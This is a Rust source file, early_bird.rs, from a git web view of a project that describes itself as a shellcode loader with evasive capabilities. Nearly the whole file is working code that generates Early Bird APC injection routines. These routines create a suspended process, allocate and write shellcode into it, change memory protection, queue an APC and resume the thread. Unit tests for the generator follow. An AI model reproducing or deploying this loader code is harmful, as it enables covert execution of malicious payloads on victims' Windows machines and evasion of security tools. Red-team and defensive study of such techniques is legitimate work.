myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

early_bird.rs (5614B)

      1 pub fn early_bird_import() -> String {
      2     super::common::common_process_injection_imports().to_string()
      3 }
      4 
      5 pub fn early_bird_const() -> String {
      6     format!(
      7         r#"
      8 {}
      9 
     10 {}
     11 
     12 #[link(name = "kernel32")]
     13 extern "system" {{
     14     {}
     15 
     16     fn QueueUserAPC(
     17         pfn_apc: *const std::ffi::c_void,
     18         thread: *mut std::ffi::c_void,
     19         data: usize,
     20     ) -> u32;
     21 
     22     fn ResumeThread(thread: *mut std::ffi::c_void) -> u32;
     23 
     24     fn CloseHandle(object: *mut std::ffi::c_void) -> i32;
     25 }}
     26 
     27 {}
     28 "#,
     29         super::common::COMMON_MEMORY_CONSTANTS,
     30         super::common::COMMON_PROCESS_CONSTANTS,
     31         super::common::common_process_injection_externs(),
     32         super::common::common_process_structures()
     33     )
     34 }
     35 
     36 pub fn early_bird_init() -> String {
     37     String::new()
     38 }
     39 
     40 pub fn early_bird_process(process: &str) -> String {
     41     let process_wide = format!(
     42         "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
     43         process.replace('\\', "\\\\")
     44     );
     45 
     46     format!(
     47         r#"
     48     unsafe {{
     49         {}
     50 
     51         let mut si = StartupInfoW {{
     52             cb: std::mem::size_of::<StartupInfoW>() as u32,
     53             reserved1: ptr::null_mut(),
     54             desktop: ptr::null_mut(),
     55             title: ptr::null_mut(),
     56             x: 0,
     57             y: 0,
     58             x_size: 0,
     59             y_size: 0,
     60             x_count_chars: 0,
     61             y_count_chars: 0,
     62             fill_attribute: 0,
     63             flags: 0,
     64             show_window: 0,
     65             reserved2: 0,
     66             reserved3: ptr::null_mut(),
     67             std_input: ptr::null_mut(),
     68             std_output: ptr::null_mut(),
     69             std_error: ptr::null_mut(),
     70         }};
     71 
     72         let mut pi = ProcessInformation {{
     73             process: ptr::null_mut(),
     74             thread: ptr::null_mut(),
     75             process_id: 0,
     76             thread_id: 0,
     77         }};
     78 
     79         let result = CreateProcessW(
     80             process_path.as_ptr(),
     81             ptr::null_mut(),
     82             ptr::null(),
     83             ptr::null(),
     84             0,
     85             CREATE_SUSPENDED,
     86             ptr::null(),
     87             ptr::null(),
     88             &si,
     89             &mut pi,
     90         );
     91 
     92         if result == 0 {{
     93             panic!("failed");
     94         }}
     95 
     96         let addr = VirtualAllocEx(
     97             pi.process,
     98             ptr::null(),
     99             shellcode.len(),
    100             MEM_COMMIT | MEM_RESERVE,
    101             PAGE_EXECUTE_READWRITE,
    102         );
    103 
    104         if addr.is_null() {{
    105             panic!("failed");
    106         }}
    107 
    108         let write_result = WriteProcessMemory(
    109             pi.process,
    110             addr,
    111             shellcode.as_ptr() as *const std::ffi::c_void,
    112             shellcode.len(),
    113             ptr::null_mut(),
    114         );
    115 
    116         if write_result == 0 {{
    117             panic!("failed");
    118         }}
    119 
    120         let mut old_protect: u32 = PAGE_READWRITE;
    121         let protect_result = VirtualProtectEx(
    122             pi.process,
    123             addr,
    124             shellcode.len(),
    125             PAGE_EXECUTE_READ,
    126             &mut old_protect,
    127         );
    128 
    129         if protect_result == 0 {{
    130             panic!("failed");
    131         }}
    132 
    133         let apc_result = QueueUserAPC(addr, pi.thread, 0);
    134 
    135         if apc_result == 0 {{
    136             panic!("failed");
    137         }}
    138 
    139         ResumeThread(pi.thread);
    140         CloseHandle(pi.thread);
    141         CloseHandle(pi.process);
    142     }}
    143 "#,
    144         process_wide
    145     )
    146 }
    147 
    148 fn generate_early_bird_template(function_name: &str, process: &str) -> String {
    149     super::common::TechniqueTemplateBuilder::new()
    150         .with_import(early_bird_import())
    151         .with_const(early_bird_const())
    152         .with_init(early_bird_init())
    153         .with_process(early_bird_process(process))
    154         .build(function_name)
    155 }
    156 
    157 pub fn generate_early_bird_code(function_name: &str, process: &str) -> String {
    158     generate_early_bird_template(function_name, process)
    159 }
    160 
    161 pub struct EarlyBirdGenerator;
    162 
    163 impl super::trait_generator::TechniqueGenerator for EarlyBirdGenerator {
    164     fn generate_code(&self, process: &str, function_name: &str) -> String {
    165         generate_early_bird_code(function_name, process)
    166     }
    167 
    168     fn generate_code_with_dynamic_resolver(
    169         &self,
    170         process: &str,
    171         function_name: &str,
    172         _encryption_type: &str,
    173         _encryptor: &dyn crate::encryption::Encryptor,
    174     ) -> String {
    175         self.generate_code(process, function_name)
    176     }
    177 
    178     fn requires_process(&self) -> bool {
    179         true
    180     }
    181 
    182     fn name(&self) -> &'static str {
    183         "EarlyBird"
    184     }
    185 }
    186 
    187 #[cfg(test)]
    188 mod tests {
    189     use super::*;
    190     use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
    191 
    192     #[test]
    193     fn test_generate_early_bird_template_contains_all_parts() {
    194         let template = generate_early_bird_template("MyFunction", "cmd.exe");
    195         assert!(template.contains("use std::ptr"));
    196         assert!(template.contains("QueueUserAPC"));
    197         assert!(template.contains("fn MyFunction"));
    198         assert!(template.contains("CREATE_SUSPENDED"));
    199         assert!(template.contains("ResumeThread"));
    200     }
    201 
    202     #[test]
    203     fn test_generate_early_bird_code() {
    204         let code = generate_early_bird_code("MyRandomFunc", "notepad.exe");
    205         assert!(code.contains("fn MyRandomFunc"));
    206         assert!(code.contains("QueueUserAPC"));
    207         assert!(code.contains("VirtualAllocEx"));
    208     }
    209 
    210     #[test]
    211     fn test_early_bird_generator_name() {
    212         let gen = EarlyBirdGenerator;
    213         assert_eq!(gen.name(), "EarlyBird");
    214     }
    215 
    216     #[test]
    217     fn test_early_bird_requires_process() {
    218         let gen = EarlyBirdGenerator;
    219         assert!(gen.requires_process());
    220     }
    221 }